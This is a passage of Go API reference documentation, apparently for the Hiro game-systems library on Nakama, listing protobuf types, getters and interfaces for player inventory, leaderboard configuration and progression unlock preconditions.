func (*InventoryGrantRequest) Reset

func (x *InventoryGrantRequest) Reset()

func (*InventoryGrantRequest) String

func (x *InventoryGrantRequest) String() string

type InventoryItem

type InventoryItem struct {

	// The ID of the item.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The name of the item. May be an i18n code.
	Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"`
	// A description of the item. May be an i18n code.
	Description string `protobuf:"bytes,3,opt,name=description,proto3" json:"description,omitempty"`
	// The category to group the item together with others.
	Category string `protobuf:"bytes,4,opt,name=category,proto3" json:"category,omitempty"`
	// The sets the item is grouped into.
	ItemSets []string `protobuf:"bytes,5,rep,name=item_sets,json=itemSets,proto3" json:"item_sets,omitempty"`
	// The current count of the item.
	Count int64 `protobuf:"varint,6,opt,name=count,proto3" json:"count,omitempty"`
	// The maximum count which can be owned for this item.
	MaxCount int64 `protobuf:"varint,7,opt,name=max_count,json=maxCount,proto3" json:"max_count,omitempty"`
	// Whether or not the item is stackable.
	Stackable bool `protobuf:"varint,8,opt,name=stackable,proto3" json:"stackable,omitempty"`
	// Whether or not the item is consumable.
	Consumable bool `protobuf:"varint,9,opt,name=consumable,proto3" json:"consumable,omitempty"`
	// The configuration for the reward to grant for consumption.
	ConsumeAvailableRewards *AvailableRewards `` /* 133-byte string literal not displayed */
	// The properties with string values.
	StringProperties map[string]string `` /* 198-byte string literal not displayed */
	// The properties with numeric values.
	NumericProperties map[string]float64 `` /* 203-byte string literal not displayed */
	// A UNIX timestamp when the user acquired this item.
	OwnedTimeSec int64 `protobuf:"varint,13,opt,name=owned_time_sec,json=ownedTimeSec,proto3" json:"owned_time_sec,omitempty"`
	// A UNIX timestamp when the item was updated.
	UpdateTimeSec int64 `protobuf:"varint,14,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// The instance ID of the item, if any.
	InstanceId string `protobuf:"bytes,15,opt,name=instance_id,json=instanceId,proto3" json:"instance_id,omitempty"`
	// contains filtered or unexported fields
}

A item owned by the current user.

func (*InventoryItem) Descriptor deprecated

func (*InventoryItem) Descriptor() ([]byte, []int)

Deprecated: Use InventoryItem.ProtoReflect.Descriptor instead.

func (*InventoryItem) GetCategory

func (x *InventoryItem) GetCategory() string

func (*InventoryItem) GetConsumable

func (x *InventoryItem) GetConsumable() bool

func (*InventoryItem) GetConsumeAvailableRewards

func (x *InventoryItem) GetConsumeAvailableRewards() *AvailableRewards

func (*InventoryItem) GetCount

func (x *InventoryItem) GetCount() int64

func (*InventoryItem) GetDescription

func (x *InventoryItem) GetDescription() string

func (*InventoryItem) GetId

func (x *InventoryItem) GetId() string

func (*InventoryItem) GetInstanceId

func (x *InventoryItem) GetInstanceId() string

func (*InventoryItem) GetItemSets

func (x *InventoryItem) GetItemSets() []string

func (*InventoryItem) GetMaxCount

func (x *InventoryItem) GetMaxCount() int64

func (*InventoryItem) GetName

func (x *InventoryItem) GetName() string

func (*InventoryItem) GetNumericProperties

func (x *InventoryItem) GetNumericProperties() map[string]float64

func (*InventoryItem) GetOwnedTimeSec

func (x *InventoryItem) GetOwnedTimeSec() int64

func (*InventoryItem) GetStackable

func (x *InventoryItem) GetStackable() bool

func (*InventoryItem) GetStringProperties

func (x *InventoryItem) GetStringProperties() map[string]string

func (*InventoryItem) GetUpdateTimeSec

func (x *InventoryItem) GetUpdateTimeSec() int64

func (*InventoryItem) ProtoMessage

func (*InventoryItem) ProtoMessage()

func (*InventoryItem) ProtoReflect

func (x *InventoryItem) ProtoReflect() protoreflect.Message

func (*InventoryItem) Reset

func (x *InventoryItem) Reset()

func (*InventoryItem) String

func (x *InventoryItem) String() string

type InventoryList

type InventoryList struct {

	// The inventory items from definitions and the user.
	Items map[string]*InventoryItem `` /* 151-byte string literal not displayed */
	// contains filtered or unexported fields
}

Response for retrieving Inventory system data definitions.

func (*InventoryList) Descriptor deprecated

func (*InventoryList) Descriptor() ([]byte, []int)

Deprecated: Use InventoryList.ProtoReflect.Descriptor instead.

func (*InventoryList) GetItems

func (x *InventoryList) GetItems() map[string]*InventoryItem

func (*InventoryList) ProtoMessage

func (*InventoryList) ProtoMessage()

func (*InventoryList) ProtoReflect

func (x *InventoryList) ProtoReflect() protoreflect.Message

func (*InventoryList) Reset

func (x *InventoryList) Reset()

func (*InventoryList) String

func (x *InventoryList) String() string

type InventoryListRequest

type InventoryListRequest struct {

	// The category for the items to filter for, or empty for all.
	ItemCategory string `protobuf:"bytes,1,opt,name=item_category,json=itemCategory,proto3" json:"item_category,omitempty"`
	// contains filtered or unexported fields
}

Request all inventory items in the economy.

func (*InventoryListRequest) Descriptor deprecated

func (*InventoryListRequest) Descriptor() ([]byte, []int)

Deprecated: Use InventoryListRequest.ProtoReflect.Descriptor instead.

func (*InventoryListRequest) GetItemCategory

func (x *InventoryListRequest) GetItemCategory() string

func (*InventoryListRequest) ProtoMessage

func (*InventoryListRequest) ProtoMessage()

func (*InventoryListRequest) ProtoReflect

func (x *InventoryListRequest) ProtoReflect() protoreflect.Message

func (*InventoryListRequest) Reset

func (x *InventoryListRequest) Reset()

func (*InventoryListRequest) String

func (x *InventoryListRequest) String() string

type InventorySystem

type InventorySystem interface {
	System

	// List will return the items defined as well as the computed item sets for the user by ID.
	List(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, category string) (items map[string]*InventoryConfigItem, itemSets map[string][]string, err error)

	// ListInventoryItems will return the items which are part of a user's inventory by ID.
	ListInventoryItems(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, category string) (inventory *Inventory, err error)

	// ConsumeItems will deduct the item(s) from the user's inventory and run the consume reward for each one, if defined.
	ConsumeItems(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, itemIDs, instanceIDs map[string]int64, overConsume bool) (updatedInventory *Inventory, rewards map[string][]*Reward, instanceRewards map[string][]*Reward, err error)

	// GrantItems will add the item(s) to a user's inventory by ID.
	GrantItems(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, itemIDs map[string]int64, ignoreLimits bool) (updatedInventory *Inventory, newItems map[string]*InventoryItem, updatedItems map[string]*InventoryItem, notGrantedItemIDs map[string]int64, err error)

	// UpdateItems will update the properties which are stored on each item by instance ID for a user.
	UpdateItems(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, instanceIDs map[string]*InventoryUpdateItemProperties) (updatedInventory *Inventory, err error)

	// SetOnConsumeReward sets a custom reward function which will run after an inventory items' consume reward is rolled.
	SetOnConsumeReward(fn OnReward[*InventoryConfigItem])

	// SetConfigSource sets a custom additional config lookup function.
	SetConfigSource(fn ConfigSource[*InventoryConfigItem])
}

The InventorySystem provides a gameplay system which can manage a player's inventory.

A player can have items added via economy rewards, or directly.

type InventoryUpdateAck

type InventoryUpdateAck struct {

	// Update inventory data, if changed.
	Inventory *Inventory `protobuf:"bytes,1,opt,name=inventory,proto3" json:"inventory,omitempty"`
	// contains filtered or unexported fields
}

Response from granting or purchasing items. This contains updated inventory data, if changed.

func (*InventoryUpdateAck) Descriptor deprecated

func (*InventoryUpdateAck) Descriptor() ([]byte, []int)

Deprecated: Use InventoryUpdateAck.ProtoReflect.Descriptor instead.

func (*InventoryUpdateAck) GetInventory

func (x *InventoryUpdateAck) GetInventory() *Inventory

func (*InventoryUpdateAck) ProtoMessage

func (*InventoryUpdateAck) ProtoMessage()

func (*InventoryUpdateAck) ProtoReflect

func (x *InventoryUpdateAck) ProtoReflect() protoreflect.Message

func (*InventoryUpdateAck) Reset

func (x *InventoryUpdateAck) Reset()

func (*InventoryUpdateAck) String

func (x *InventoryUpdateAck) String() string

type InventoryUpdateItemProperties

type InventoryUpdateItemProperties struct {

	// The properties with string values.
	StringProperties map[string]string `` /* 197-byte string literal not displayed */
	// The properties with numeric values.
	NumericProperties map[string]float64 `` /* 202-byte string literal not displayed */
	// contains filtered or unexported fields
}

The typed properties to update in an instanced inventory item.

func (*InventoryUpdateItemProperties) Descriptor deprecated

func (*InventoryUpdateItemProperties) Descriptor() ([]byte, []int)

Deprecated: Use InventoryUpdateItemProperties.ProtoReflect.Descriptor instead.

func (*InventoryUpdateItemProperties) GetNumericProperties

func (x *InventoryUpdateItemProperties) GetNumericProperties() map[string]float64

func (*InventoryUpdateItemProperties) GetStringProperties

func (x *InventoryUpdateItemProperties) GetStringProperties() map[string]string

func (*InventoryUpdateItemProperties) ProtoMessage

func (*InventoryUpdateItemProperties) ProtoMessage()

func (*InventoryUpdateItemProperties) ProtoReflect

func (*InventoryUpdateItemProperties) Reset

func (x *InventoryUpdateItemProperties) Reset()

func (*InventoryUpdateItemProperties) String

type InventoryUpdateItemsRequest

type InventoryUpdateItemsRequest struct {

	// The item updates to action, keyed by item instance ID.
	ItemUpdates map[string]*InventoryUpdateItemProperties `` /* 182-byte string literal not displayed */
	// contains filtered or unexported fields
}

Represents a request to update properties of instanced items.

func (*InventoryUpdateItemsRequest) Descriptor deprecated

func (*InventoryUpdateItemsRequest) Descriptor() ([]byte, []int)

Deprecated: Use InventoryUpdateItemsRequest.ProtoReflect.Descriptor instead.

func (*InventoryUpdateItemsRequest) GetItemUpdates

func (*InventoryUpdateItemsRequest) ProtoMessage

func (*InventoryUpdateItemsRequest) ProtoMessage()

func (*InventoryUpdateItemsRequest) ProtoReflect

func (*InventoryUpdateItemsRequest) Reset

func (x *InventoryUpdateItemsRequest) Reset()

func (*InventoryUpdateItemsRequest) String

func (x *InventoryUpdateItemsRequest) String() string

type LeaderboardConfig

type LeaderboardConfig struct {

	// The leaderboard id.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The leaderboard sort order.
	SortOrder string `protobuf:"bytes,2,opt,name=sort_order,json=sortOrder,proto3" json:"sort_order,omitempty"`
	// The leaderboard operator.
	Operator string `protobuf:"bytes,3,opt,name=operator,proto3" json:"operator,omitempty"`
	// The leaderboard reset schedule.
	ResetSchedule string `protobuf:"bytes,4,opt,name=reset_schedule,json=resetSchedule,proto3" json:"reset_schedule,omitempty"`
	// Whether the leaderboard is authoritative or not.
	Authoritative bool `protobuf:"varint,5,opt,name=authoritative,proto3" json:"authoritative,omitempty"`
	// List of regional leaderboards of the leaderboard, if any.
	Regions []string `protobuf:"bytes,6,rep,name=regions,proto3" json:"regions,omitempty"`
	// contains filtered or unexported fields
}

A leaderboard configuration.

func (*LeaderboardConfig) Descriptor deprecated

func (*LeaderboardConfig) Descriptor() ([]byte, []int)

Deprecated: Use LeaderboardConfig.ProtoReflect.Descriptor instead.

func (*LeaderboardConfig) GetAuthoritative

func (x *LeaderboardConfig) GetAuthoritative() bool

func (*LeaderboardConfig) GetId

func (x *LeaderboardConfig) GetId() string

func (*LeaderboardConfig) GetOperator

func (x *LeaderboardConfig) GetOperator() string

func (*LeaderboardConfig) GetRegions

func (x *LeaderboardConfig) GetRegions() []string

func (*LeaderboardConfig) GetResetSchedule

func (x *LeaderboardConfig) GetResetSchedule() string

func (*LeaderboardConfig) GetSortOrder

func (x *LeaderboardConfig) GetSortOrder() string

func (*LeaderboardConfig) ProtoMessage

func (*LeaderboardConfig) ProtoMessage()

func (*LeaderboardConfig) ProtoReflect

func (x *LeaderboardConfig) ProtoReflect() protoreflect.Message

func (*LeaderboardConfig) Reset

func (x *LeaderboardConfig) Reset()

func (*LeaderboardConfig) String

func (x *LeaderboardConfig) String() string

type LeaderboardConfigList

type LeaderboardConfigList struct {

	// The list of leaderboard configurations.
	LeaderboardConfigs []*LeaderboardConfig `protobuf:"bytes,1,rep,name=leaderboard_configs,json=leaderboardConfigs,proto3" json:"leaderboard_configs,omitempty"`
	// contains filtered or unexported fields
}

A list of leaderboard configurations.

func (*LeaderboardConfigList) Descriptor deprecated

func (*LeaderboardConfigList) Descriptor() ([]byte, []int)

Deprecated: Use LeaderboardConfigList.ProtoReflect.Descriptor instead.

func (*LeaderboardConfigList) GetLeaderboardConfigs

func (x *LeaderboardConfigList) GetLeaderboardConfigs() []*LeaderboardConfig

func (*LeaderboardConfigList) ProtoMessage

func (*LeaderboardConfigList) ProtoMessage()

func (*LeaderboardConfigList) ProtoReflect

func (x *LeaderboardConfigList) ProtoReflect() protoreflect.Message

func (*LeaderboardConfigList) Reset

func (x *LeaderboardConfigList) Reset()

func (*LeaderboardConfigList) String

func (x *LeaderboardConfigList) String() string

type LeaderboardsConfig

type LeaderboardsConfig struct {
	Leaderboards []*LeaderboardsConfigLeaderboard `json:"leaderboards,omitempty"`
}

LeaderboardsConfig is the data definition for the LeaderboardsSystem type.

type LeaderboardsConfigLeaderboard

type LeaderboardsConfigLeaderboard struct {
	Id            string   `json:"id,omitempty"`
	SortOrder     string   `json:"sort_order,omitempty"`
	Operator      string   `json:"operator,omitempty"`
	ResetSchedule string   `json:"reset_schedule,omitempty"`
	Authoritative bool     `json:"authoritative,omitempty"`
	Regions       []string `json:"regions,omitempty"`
}

type LeaderboardsSystem

type LeaderboardsSystem interface {
	System
}

The LeaderboardsSystem defines a collection of leaderboards which can be defined as global or regional with Nakama server.

type OnAuctionReward

type OnAuctionReward[T any] func(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, sourceID string, source *Auction, reward T) (T, error)

type OnEventLeaderboardCohortSelection

type OnEventLeaderboardCohortSelection func(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, storageIndex string, eventID string, config *EventLeaderboardsConfigLeaderboard, userID string, tier int, matchmakerProperties map[string]interface{}) (cohortID string, cohortUserIDs []string, newCohort *EventLeaderboardCohortConfig, err error)

type OnReward

type OnReward[T any] func(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, sourceID string, source T, rewardConfig *EconomyConfigReward, reward *Reward) (*Reward, error)

OnReward is a function which can be used by each gameplay system to provide an override reward.

type Personalizer

type Personalizer interface {
	// GetValue returns a config which has been modified for a gameplay system,
	// or nil if the config is not being adjusted by this personalizer.
	GetValue(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, system System, identity string) (config any, err error)
}

The Personalizer describes an intermediate server or service which can be used to personalize the base data definitions defined for the gameplay systems.

type Progression

type Progression struct {

	// The ID of the progression.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The name of the progression. May be an i18n code.
	Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"`
	// A description of the progression. May be an i18n code.
	Description string `protobuf:"bytes,3,opt,name=description,proto3" json:"description,omitempty"`
	// The category to group the progression together with others.
	Category string `protobuf:"bytes,4,opt,name=category,proto3" json:"category,omitempty"`
	// Current count, if any.
	Counts map[string]int64 `` /* 154-byte string literal not displayed */
	// Additional metadata properties.
	AdditionalProperties map[string]string `` /* 209-byte string literal not displayed */
	// Flag indicating unlock status.
	Unlocked bool `protobuf:"varint,7,opt,name=unlocked,proto3" json:"unlocked,omitempty"`
	// All preconditions.
	Preconditions *ProgressionPreconditionsBlock `protobuf:"bytes,8,opt,name=preconditions,proto3" json:"preconditions,omitempty"`
	// Unmet preconditions.
	UnmetPreconditions *ProgressionPreconditionsBlock `protobuf:"bytes,9,opt,name=unmet_preconditions,json=unmetPreconditions,proto3" json:"unmet_preconditions,omitempty"`
	// contains filtered or unexported fields
}

A progression element which can be unlocked to access further progressions.

func (*Progression) Descriptor deprecated

func (*Progression) Descriptor() ([]byte, []int)

Deprecated: Use Progression.ProtoReflect.Descriptor instead.

func (*Progression) GetAdditionalProperties

func (x *Progression) GetAdditionalProperties() map[string]string

func (*Progression) GetCategory

func (x *Progression) GetCategory() string

func (*Progression) GetCounts

func (x *Progression) GetCounts() map[string]int64

func (*Progression) GetDescription

func (x *Progression) GetDescription() string

func (*Progression) GetId

func (x *Progression) GetId() string

func (*Progression) GetName

func (x *Progression) GetName() string

func (*Progression) GetPreconditions

func (x *Progression) GetPreconditions() *ProgressionPreconditionsBlock

func (*Progression) GetUnlocked

func (x *Progression) GetUnlocked() bool

func (*Progression) GetUnmetPreconditions

func (x *Progression) GetUnmetPreconditions() *ProgressionPreconditionsBlock

func (*Progression) ProtoMessage

func (*Progression) ProtoMessage()

func (*Progression) ProtoReflect

func (x *Progression) ProtoReflect() protoreflect.Message

func (*Progression) Reset

func (x *Progression) Reset()

func (*Progression) String

func (x *Progression) String() string

type ProgressionConfig

type ProgressionConfig struct {
	Progressions map[string]*ProgressionConfigProgression `json:"progressions,omitempty"`
}

ProgressionConfig is the data definition for a ProgressionSystem type.

type ProgressionConfigProgression

type ProgressionConfigProgression struct {
	Name                 string                         `json:"name,omitempty"`
	Description          string                         `json:"description,omitempty"`
	Category             string                         `json:"category,omitempty"`
	AdditionalProperties map[string]string              `json:"additional_properties,omitempty"`
	Preconditions        *ProgressionPreconditionsBlock `json:"preconditions,omitempty"`
	ResetSchedule        string                         `json:"reset_schedule,omitempty"`
}

type ProgressionCost

type ProgressionCost struct {

	// The items which will be deducted.
	Items map[string]int64 `` /* 152-byte string literal not displayed */
	// The currencies which will be deducted.
	Currencies map[string]int64 `` /* 162-byte string literal not displayed */
	// contains filtered or unexported fields
}

The cost(s) associated with permanently unlocking a progression.

func (*ProgressionCost) Descriptor deprecated

func (*ProgressionCost) Descriptor() ([]byte, []int)

Deprecated: Use ProgressionCost.ProtoReflect.Descriptor instead.

func (*ProgressionCost) GetCurrencies

func (x *ProgressionCost) GetCurrencies() map[string]int64

func (*ProgressionCost) GetItems

func (x *ProgressionCost) GetItems() map[string]int64

func (*ProgressionCost) ProtoMessage

func (*ProgressionCost) ProtoMessage()

func (*ProgressionCost) ProtoReflect

func (x *ProgressionCost) ProtoReflect() protoreflect.Message

func (*ProgressionCost) Reset

func (x *ProgressionCost) Reset()

func (*ProgressionCost) String

func (x *ProgressionCost) String() string

type ProgressionDelta

type ProgressionDelta struct {

	// The ID of the progression.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// Potential state change.
	State ProgressionDeltaState `protobuf:"varint,2,opt,name=state,proto3,enum=hiro.ProgressionDeltaState" json:"state,omitempty"`
	// Changes to counts, if any.
	Counts map[string]int64 `` /* 154-byte string literal not displayed */
	// Changes to preconditions, if any.
	Preconditions *ProgressionPreconditionsBlock `protobuf:"bytes,4,opt,name=preconditions,proto3" json:"preconditions,omitempty"`
	// contains filtered or unexported fields
}

A change in a given progression, compared to a previously known state.

func (*ProgressionDelta) Descriptor deprecated

func (*ProgressionDelta) Descriptor() ([]byte, []int)

Deprecated: Use ProgressionDelta.ProtoReflect.Descriptor instead.

func (*ProgressionDelta) GetCounts

func (x *ProgressionDelta) GetCounts() map[string]int64

func (*ProgressionDelta) GetId

func (x *ProgressionDelta) GetId() string

func (*ProgressionDelta) GetPreconditions

func (x *ProgressionDelta) GetPreconditions() *ProgressionPreconditionsBlock

func (*ProgressionDelta) GetState

func (*ProgressionDelta) ProtoMessage

func (*ProgressionDelta) ProtoMessage()

func (*ProgressionDelta) ProtoReflect

func (x *ProgressionDelta) ProtoReflect() protoreflect.Message

func (*ProgressionDelta) Reset

func (x *ProgressionDelta) Reset()

func (*ProgressionDelta) String

func (x *ProgressionDelta) String() string

type ProgressionDeltaState

type ProgressionDeltaState int32
const (
	// Unspecified. Defaults to UNCHANGED.
	ProgressionDeltaState_PROGRESSION_DELTA_STATE_UNSPECIFIED ProgressionDeltaState = 0
	// Progression unlock state has not changed.
	ProgressionDeltaState_PROGRESSION_DELTA_STATE_UNCHANGED ProgressionDeltaState = 1
	// Progression was locked, it is now unlocked.
	ProgressionDeltaState_PROGRESSION_DELTA_STATE_UNLOCKED ProgressionDeltaState = 2
	// Progression was unlocked, it is now locked.
	ProgressionDeltaState_PROGRESSION_DELTA_STATE_LOCKED ProgressionDeltaState = 3
)

func (ProgressionDeltaState) Descriptor

func (ProgressionDeltaState) Enum

func (ProgressionDeltaState) EnumDescriptor deprecated

func (ProgressionDeltaState) EnumDescriptor() ([]byte, []int)

Deprecated: Use ProgressionDeltaState.Descriptor instead.

func (ProgressionDeltaState) Number

func (ProgressionDeltaState) String

func (x ProgressionDeltaState) String() string

func (ProgressionDeltaState) Type

type ProgressionGetRequest

type ProgressionGetRequest struct {

	// Optional last known progressions state, keyed by progression ID.
	Progressions map[string]*Progression `` /* 165-byte string literal not displayed */
	// contains filtered or unexported fields
}

Request progressions for a user, optionally including previously seen state for delta calculations.

func (*ProgressionGetRequest) Descriptor deprecated

func (*ProgressionGetRequest) Descriptor() ([]byte, []int)

Deprecated: Use ProgressionGetRequest.ProtoReflect.Descriptor instead.

func (*ProgressionGetRequest) GetProgressions

func (x *ProgressionGetRequest) GetProgressions() map[string]*Progression

func (*ProgressionGetRequest) ProtoMessage

func (*ProgressionGetRequest) ProtoMessage()

func (*ProgressionGetRequest) ProtoReflect

func (x *ProgressionGetRequest) ProtoReflect() protoreflect.Message

func (*ProgressionGetRequest) Reset

func (x *ProgressionGetRequest) Reset()

func (*ProgressionGetRequest) String

func (x *ProgressionGetRequest) String() string

type ProgressionList

type ProgressionList struct {

	// Progressions keyed by progression ID.
	Progressions map[string]*Progression `` /* 165-byte string literal not displayed */
	// Progression deltas keyed by progression ID.
	Deltas map[string]*ProgressionDelta `` /* 153-byte string literal not displayed */
	// contains filtered or unexported fields
}

All or a filtered list of progressions for a user.

func (*ProgressionList) Descriptor deprecated

func (*ProgressionList) Descriptor() ([]byte, []int)

Deprecated: Use ProgressionList.ProtoReflect.Descriptor instead.

func (*ProgressionList) GetDeltas

func (x *ProgressionList) GetDeltas() map[string]*ProgressionDelta

func (*ProgressionList) GetProgressions

func (x *ProgressionList) GetProgressions() map[string]*Progression

func (*ProgressionList) ProtoMessage

func (*ProgressionList) ProtoMessage()

func (*ProgressionList) ProtoReflect

func (x *ProgressionList) ProtoReflect() protoreflect.Message

func (*ProgressionList) Reset

func (x *ProgressionList) Reset()

func (*ProgressionList) String

func (x *ProgressionList) String() string

type ProgressionPreconditions

type ProgressionPreconditions struct {

	// Counts required.
	Counts map[string]int64 `` /* 154-byte string literal not displayed */
	// Purchase cost paid.
	Cost *ProgressionCost `protobuf:"bytes,2,opt,name=cost,proto3" json:"cost,omitempty"`
	// Other progressions.
	Progressions []string `protobuf:"bytes,3,rep,name=progressions,proto3" json:"progressions,omitempty"`
	// Achievements.
	Achievements []string `protobuf:"bytes,4,rep,name=achievements,proto3" json:"achievements,omitempty"`
	// Items with associated minimum counts.
	ItemsMin map[string]int64 `` /* 174-byte string literal not displayed */
	// Items with associated maximum counts.
	ItemsMax map[string]int64 `` /* 174-byte string literal not displayed */
	// Stats with associated minimum values.
	StatsMin map[string]int64 `` /* 174-byte string literal not displayed */
	// Stats with associated maximum values.
	StatsMax map[string]int64 `` /* 174-byte string literal not displayed */
	// Energies with associated minimum counts.
	EnergyMin map[string]int64 `` /* 177-byte string literal not displayed */
	// Energies with associated maximum counts.
	EnergyMax map[string]int64 `` /* 178-byte string literal not displayed */
	// Currencies with associated minimum counts.
	CurrencyMin map[string]int64 `` /* 184-byte string literal not displayed */
	// Currencies with associated maximum counts.
	CurrencyMax map[string]int64 `` /* 184-byte string literal not displayed */
	// contains filtered or unexported fields
}

Preconditions associated with a progression.

func (*ProgressionPreconditions) Descriptor deprecated

func (*ProgressionPreconditions) Descriptor() ([]byte, []int)

Deprecated: Use ProgressionPreconditions.ProtoReflect.Descriptor instead.

func (*ProgressionPreconditions) GetAchievements

func (x *ProgressionPreconditions) GetAchievements() []string

func (*ProgressionPreconditions) GetCost

func (*ProgressionPreconditions) GetCounts

func (x *ProgressionPreconditions) GetCounts() map[string]int64

func (*ProgressionPreconditions) GetCurrencyMax

func (x *ProgressionPreconditions) GetCurrencyMax() map[string]int64

func (*ProgressionPreconditions) GetCurrencyMin

func (x *ProgressionPreconditions) GetCurrencyMin() map[string]int64

func (*ProgressionPreconditions) GetEnergyMax

func (x *ProgressionPreconditions) GetEnergyMax() map[string]int64

func (*ProgressionPreconditions) GetEnergyMin

func (x *ProgressionPreconditions) GetEnergyMin() map[string]int64

func (*ProgressionPreconditions) GetItemsMax

func (x *ProgressionPreconditions) GetItemsMax() map[string]int64

func (*ProgressionPreconditions) GetItemsMin

func (x *ProgressionPreconditions) GetItemsMin() map[string]int64

func (*ProgressionPreconditions) GetProgressions

func (x *ProgressionPreconditions) GetProgressions() []string

func (*ProgressionPreconditions) GetStatsMax

func (x *ProgressionPreconditions) GetStatsMax() map[string]int64

func (*ProgressionPreconditions) GetStatsMin

func (x *ProgressionPreconditions) GetStatsMin() map[string]int64

func (*ProgressionPreconditions) ProtoMessage

func (*ProgressionPreconditions) ProtoMessage()

func (*ProgressionPreconditions) ProtoReflect

func (x *ProgressionPreconditions) ProtoReflect() protoreflect.Message

func (*ProgressionPreconditions) Reset

func (x *ProgressionPreconditions) Reset()

func (*ProgressionPreconditions) String

func (x *ProgressionPreconditions) String() string

type ProgressionPreconditionsBlock

type ProgressionPreconditionsBlock struct {

	// Direct preconditions.
	Direct *ProgressionPreconditions `protobuf:"bytes,1,opt,name=direct,proto3" json:"direct,omitempty"`
	// Operator for any nested block.
	Operator ProgressionPreconditionsOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=hiro.ProgressionPreconditionsOperator" json:"operator,omitempty"`
	// Nested block of preconditions, if any.
	Nested *ProgressionPreconditionsBlock `protobuf:"bytes,3,opt,name=nested,proto3" json:"nested,omitempty"`
	// contains filtered or unexported fields
}

A complex set of progression preconditions.

func (*ProgressionPreconditionsBlock) Descriptor deprecated

func (*ProgressionPreconditionsBlock) Descriptor() ([]byte, []int)

Deprecated: Use ProgressionPreconditionsBlock.ProtoReflect.Descriptor instead.

func (*ProgressionPreconditionsBlock) GetDirect

func (*ProgressionPreconditionsBlock) GetNested

func (*ProgressionPreconditionsBlock) GetOperator

func (*ProgressionPreconditionsBlock) ProtoMessage

func (*ProgressionPreconditionsBlock) ProtoMessage()

func (*ProgressionPreconditionsBlock) ProtoReflect

func (*ProgressionPreconditionsBlock) Reset

func (x *ProgressionPreconditionsBlock) Reset()

func (*ProgressionPreconditionsBlock) String

type ProgressionPreconditionsOperator

type ProgressionPreconditionsOperator int32
const (
	// Unspecified. Defaults to AND.
	ProgressionPreconditionsOperator_PROGRESSION_PRECONDITIONS_OPERATOR_UNSPECIFIED ProgressionPreconditionsOperator = 0
	// Both the direct preconditions and the nested block must be true.
	ProgressionPreconditionsOperator_PROGRESSION_PRECONDITIONS_OPERATOR_AND ProgressionPreconditionsOperator = 1
	// Either the direct preconditions or the nested block must be true.
	ProgressionPreconditionsOperator_PROGRESSION_PRECONDITIONS_OPERATOR_OR ProgressionPreconditionsOperator = 2
	// Either the direct preconditions or the nested block must be true, but not both.
	ProgressionPreconditionsOperator_PROGRESSION_PRECONDITIONS_OPERATOR_XOR ProgressionPreconditionsOperator = 3
	// The direct preconditions must be true, but the nested block must not be.
	ProgressionPreconditionsOperator_PROGRESSION_PRECONDITIONS_OPERATOR_NOT ProgressionPreconditionsOperator = 4
)

func (ProgressionPreconditionsOperator) Descriptor

func (ProgressionPreconditionsOperator) Enum

func (ProgressionPreconditionsOperator) EnumDescriptor deprecated

func (ProgressionPreconditionsOperator) EnumDescriptor() ([]byte, []int)

Deprecated: Use ProgressionPreconditionsOperator.Descriptor instead.

func (ProgressionPreconditionsOperator) Number

func (ProgressionPreconditionsOperator) String

func (ProgressionPreconditionsOperator) Type

type ProgressionPurchaseRequest

type ProgressionPurchaseRequest struct {

	// ID of the progression to permanently unlock.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// contains filtered or unexported fields
}

Request to permanently unlock a progression, if supported by that specific progression.

func (*ProgressionPurchaseRequest) Descriptor deprecated

func (*ProgressionPurchaseRequest) Descriptor() ([]byte, []int)

Deprecated: Use ProgressionPurchaseRequest.ProtoReflect.Descriptor instead.

func (*ProgressionPurchaseRequest) GetId

func (*ProgressionPurchaseRequest) ProtoMessage

func (*ProgressionPurchaseRequest) ProtoMessage()

func (*ProgressionPurchaseRequest) ProtoReflect

func (*ProgressionPurchaseRequest) Reset

func (x *ProgressionPurchaseRequest) Reset()

func (*ProgressionPurchaseRequest) String

func (x *ProgressionPurchaseRequest) String() string

type ProgressionResetRequest

type ProgressionResetRequest struct {

	// The progression IDs to reset.
	Ids []string `protobuf:"bytes,1,rep,name=ids,proto3" json:"ids,omitempty"`
	// contains filtered or unexported fields
}

Request to reset progression progress.

func (*ProgressionResetRequest) Descriptor deprecated

func (*ProgressionResetRequest) Descriptor() ([]byte, []int)

Deprecated: Use ProgressionResetRequest.ProtoReflect.Descriptor instead.

func (*ProgressionResetRequest) GetIds

func (x *ProgressionResetRequest) GetIds() []string

func (*ProgressionResetRequest) ProtoMessage

func (*ProgressionResetRequest) ProtoMessage()

func (*ProgressionResetRequest) ProtoReflect

func (x *ProgressionResetRequest) ProtoReflect() protoreflect.Message

func (*ProgressionResetRequest) Reset

func (x *ProgressionResetRequest) Reset()

func (*ProgressionResetRequest) String

func (x *ProgressionResetRequest) String() string

type ProgressionSystem

type ProgressionSystem interface {
	System

	// Get returns all or an optionally-filtered set of progressions for the given user.
	Get(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID string, lastKnownProgressions map[string]*Progression) (progressions map[string]*Progression, deltas map[string]*ProgressionDelta, err error)

	// Purchase permanently unlocks a specified progression, if that progression supports this operation.
	Purchase(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, progressionID string) (progressions map[string]*Progression, err error)

	// Update a specified progression, if that progression supports this operation.
	Update(ctx context.Context, logger runtime.Logger, nk runtime.NakamaModule, userID, progressionID string, counts map[string]int64) (progressions map[string]*Progression, err error)

	// Reset one or more progressions to clear their progress. Only applies to progression counts and unlock costs.
